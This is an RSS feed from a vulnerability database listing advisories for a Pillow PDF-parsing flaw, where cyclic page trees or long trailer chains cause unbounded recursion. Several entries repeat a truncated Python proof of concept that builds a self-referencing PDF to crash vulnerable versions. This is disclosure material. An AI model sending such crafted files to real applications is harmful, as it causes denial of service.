<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 23 Oct 2026 18:26:42 +0000</lastBuildDate>
    <item>
      <title>BREW-aider-CVE-2026-112895 — Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)</title>
      <link>https://db.gcve.eu/vuln/brew-aider-cve-2026-112895</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: aider&lt;/p&gt;
&lt;p&gt;### Summary
When an application appends to an existing PDF with `Image.save(..., format=&amp;#34;PDF&amp;#34;, append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.&lt;/p&gt;
&lt;p&gt;### Details
`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:&lt;/p&gt;
&lt;p&gt;- `src/PIL/PdfParser.py:1078-1092`&lt;/p&gt;
&lt;p&gt;`read_prev_trailer` catches only a repeated offset:&lt;/p&gt;
&lt;p&gt;- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)&lt;/p&gt;
&lt;p&gt;### PoC
```python
from PIL import PdfParser&lt;/p&gt;
&lt;p&gt;# A page tree whose /Pages nodes reference each other in a cycle (2 -&amp;gt; 3 -&amp;gt; 2).
objs = {
    1: b&amp;#34;&amp;lt;&amp;lt; /Type /Catalog /Pages 2 0 R &amp;gt;&amp;gt;&amp;#34;,
    2: b&amp;#34;&amp;lt;&amp;lt; /Type /Pages /Kids [3 0 R] /Count 1 &amp;gt;&amp;gt;&amp;#34;,
    3: b&amp;#34;&amp;lt;&amp;lt; /Type /Pages /Kids [2 0 R] /Count 1 &amp;gt;&amp;gt;&amp;#34;,
}
buf = bytearray(b&amp;#34;%PDF-1.4\n&amp;#34;)
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b&amp;#34;%d 0 obj\n&amp;#34; % oid + objs[oid] + b&amp;#34;\nendobj\n&amp;#34;
xref = len(buf)
buf += b&amp;#34;xref\n0 4\n0000000000 65535 f \n&amp;#34;
buf += b&amp;#34;&amp;#34;.join(b&amp;#34;%010d 00000 n \n&amp;#34; % off[o] for o in (1, 2, 3))
buf += b&amp;#34;trailer\n&amp;lt;&amp;lt; /Root 1 0 R /Size 4 &amp;gt;&amp;gt;\nstartxref\n%d\n%%%%EOF\n&amp;#34; % xref
open(&amp;#34;poc.pdf&amp;#34;, &amp;#34;wb&amp;#34;)…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: aider&lt;/p&gt;
&lt;p&gt;### Summary
When an application appends to an existing PDF with `Image.save(..., format=&amp;#34;PDF&amp;#34;, append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.&lt;/p&gt;
&lt;p&gt;### Details
`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:&lt;/p&gt;
&lt;p&gt;- `src/PIL/PdfParser.py:1078-1092`&lt;/p&gt;
&lt;p&gt;`read_prev_trailer` catches only a repeated offset:&lt;/p&gt;
&lt;p&gt;- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)&lt;/p&gt;
&lt;p&gt;### PoC
```python
from PIL import PdfParser&lt;/p&gt;
&lt;p&gt;# A page tree whose /Pages nodes reference each other in a cycle (2 -&amp;gt; 3 -&amp;gt; 2).
objs = {
    1: b&amp;#34;&amp;lt;&amp;lt; /Type /Catalog /Pages 2 0 R &amp;gt;&amp;gt;&amp;#34;,
    2: b&amp;#34;&amp;lt;&amp;lt; /Type /Pages /Kids [3 0 R] /Count 1 &amp;gt;&amp;gt;&amp;#34;,
    3: b&amp;#34;&amp;lt;&amp;lt; /Type /Pages /Kids [2 0 R] /Count 1 &amp;gt;&amp;gt;&amp;#34;,
}
buf = bytearray(b&amp;#34;%PDF-1.4\n&amp;#34;)
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b&amp;#34;%d 0 obj\n&amp;#34; % oid + objs[oid] + b&amp;#34;\nendobj\n&amp;#34;
xref = len(buf)
buf += b&amp;#34;xref\n0 4\n0000000000 65535 f \n&amp;#34;
buf += b&amp;#34;&amp;#34;.join(b&amp;#34;%010d 00000 n \n&amp;#34; % off[o] for o in (1, 2, 3))
buf += b&amp;#34;trailer\n&amp;lt;&amp;lt; /Root 1 0 R /Size 4 &amp;gt;&amp;gt;\nstartxref\n%d\n%%%%EOF\n&amp;#34; % xref
open(&amp;#34;poc.pdf&amp;#34;, &amp;#34;wb&amp;#34;)…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/brew-aider-cve-2026-112895</guid>
    </item>
    <item>
      <title>fkie_cve-2026-112895</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-112895</link>
      <description>&lt;p&gt;Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can exhaust resources while parsing an existing PDF during an append operation. PdfParser follows page-tree child references without cycle or duplication tracking and follows previous-trailer chains with only an exact repeated-offset guard, so deep or cyclic page trees and long chains of unique trailer offsets can exhaust the Python stack. Repeated non-cyclic /Kids references can also cause super-linear CPU and memory use. An attacker can supply such a PDF to an application that calls Image.save with PDF append enabled. This can raise an uncaught RecursionError or consume excessive CPU and memory before output is written, causing denial of service. This issue is fixed in version 13.0.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can exhaust resources while parsing an existing PDF during an append operation. PdfParser follows page-tree child references without cycle or duplication tracking and follows previous-trailer chains with only an exact repeated-offset guard, so deep or cyclic page trees and long chains of unique trailer offsets can exhaust the Python stack. Repeated non-cyclic /Kids references can also cause super-linear CPU and memory use. An attacker can supply such a PDF to an application that calls Image.save with PDF append enabled. This can raise an uncaught RecursionError or consume excessive CPU and memory before output is written, causing denial of service. This issue is fixed in version 13.0.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-112895</guid>
    </item>
    <item>
      <title>GHSA-p4wg-p73j-c528 — Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)</title>
      <link>https://db.gcve.eu/vuln/ghsa-p4wg-p73j-c528</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pillow&lt;/p&gt;
&lt;p&gt;### Summary
When an application appends to an existing PDF with `Image.save(..., format=&amp;#34;PDF&amp;#34;, append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.&lt;/p&gt;
&lt;p&gt;### Details
`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:&lt;/p&gt;
&lt;p&gt;- `src/PIL/PdfParser.py:1078-1092`&lt;/p&gt;
&lt;p&gt;`read_prev_trailer` catches only a repeated offset:&lt;/p&gt;
&lt;p&gt;- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)&lt;/p&gt;
&lt;p&gt;### PoC
```python
from PIL import PdfParser&lt;/p&gt;
&lt;p&gt;# A page tree whose /Pages nodes reference each other in a cycle (2 -&amp;gt; 3 -&amp;gt; 2).
objs = {
    1: b&amp;#34;&amp;lt;&amp;lt; /Type /Catalog /Pages 2 0 R &amp;gt;&amp;gt;&amp;#34;,
    2: b&amp;#34;&amp;lt;&amp;lt; /Type /Pages /Kids [3 0 R] /Count 1 &amp;gt;&amp;gt;&amp;#34;,
    3: b&amp;#34;&amp;lt;&amp;lt; /Type /Pages /Kids [2 0 R] /Count 1 &amp;gt;&amp;gt;&amp;#34;,
}
buf = bytearray(b&amp;#34;%PDF-1.4\n&amp;#34;)
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b&amp;#34;%d 0 obj\n&amp;#34; % oid + objs[oid] + b&amp;#34;\nendobj\n&amp;#34;
xref = len(buf)
buf += b&amp;#34;xref\n0 4\n0000000000 65535 f \n&amp;#34;
buf += b&amp;#34;&amp;#34;.join(b&amp;#34;%010d 00000 n \n&amp;#34; % off[o] for o in (1, 2, 3))
buf += b&amp;#34;trailer\n&amp;lt;&amp;lt; /Root 1 0 R /Size 4 &amp;gt;&amp;gt;\nstartxref\n%d\n%%%%EOF\n&amp;#34; % xref
open(&amp;#34;poc.pdf&amp;#34;, &amp;#34;wb&amp;#34;)…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: pillow&lt;/p&gt;
&lt;p&gt;### Summary
When an application appends to an existing PDF with `Image.save(..., format=&amp;#34;PDF&amp;#34;, append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.&lt;/p&gt;
&lt;p&gt;### Details
`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:&lt;/p&gt;
&lt;p&gt;- `src/PIL/PdfParser.py:1078-1092`&lt;/p&gt;
&lt;p&gt;`read_prev_trailer` catches only a repeated offset:&lt;/p&gt;
&lt;p&gt;- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)&lt;/p&gt;
&lt;p&gt;### PoC
```python
from PIL import PdfParser&lt;/p&gt;
&lt;p&gt;# A page tree whose /Pages nodes reference each other in a cycle (2 -&amp;gt; 3 -&amp;gt; 2).
objs = {
    1: b&amp;#34;&amp;lt;&amp;lt; /Type /Catalog /Pages 2 0 R &amp;gt;&amp;gt;&amp;#34;,
    2: b&amp;#34;&amp;lt;&amp;lt; /Type /Pages /Kids [3 0 R] /Count 1 &amp;gt;&amp;gt;&amp;#34;,
    3: b&amp;#34;&amp;lt;&amp;lt; /Type /Pages /Kids [2 0 R] /Count 1 &amp;gt;&amp;gt;&amp;#34;,
}
buf = bytearray(b&amp;#34;%PDF-1.4\n&amp;#34;)
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b&amp;#34;%d 0 obj\n&amp;#34; % oid + objs[oid] + b&amp;#34;\nendobj\n&amp;#34;
xref = len(buf)
buf += b&amp;#34;xref\n0 4\n0000000000 65535 f \n&amp;#34;
buf += b&amp;#34;&amp;#34;.join(b&amp;#34;%010d 00000 n \n&amp;#34; % off[o] for o in (1, 2, 3))
buf += b&amp;#34;trailer\n&amp;lt;&amp;lt; /Root 1 0 R /Size 4 &amp;gt;&amp;gt;\nstartxref\n%d\n%%%%EOF\n&amp;#34; % xref
open(&amp;#34;poc.pdf&amp;#34;, &amp;#34;wb&amp;#34;)…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-p4wg-p73j-c528</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2026-112895</title>
      <link>https://db.gcve.eu/vuln/ubuntu-cve-2026-112895</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:Pro:14.04:LTS: pillow, Ubuntu:Pro:16.04:LTS: pillow, Ubuntu:Pro:18.04:LTS: pillow, Ubuntu:Pro:20.04:LTS: pillow, Ubuntu:Pro:20.04:LTS: pillow-python2, Ubuntu:22.04:LTS: pillow, Ubuntu:24.04:LTS: pillow, Ubuntu:26.10: pillow, Ubuntu:26.04:LTS: pillow&lt;/p&gt;
&lt;p&gt;(Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow ca ...)&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:Pro:14.04:LTS: pillow, Ubuntu:Pro:16.04:LTS: pillow, Ubuntu:Pro:18.04:LTS: pillow, Ubuntu:Pro:20.04:LTS: pillow, Ubuntu:Pro:20.04:LTS: pillow-python2, Ubuntu:22.04:LTS: pillow, Ubuntu:24.04:LTS: pillow, Ubuntu:26.10: pillow, Ubuntu:26.04:LTS: pillow&lt;/p&gt;
&lt;p&gt;(Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow ca ...)&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ubuntu-cve-2026-112895</guid>
    </item>
  </channel>
</rss>
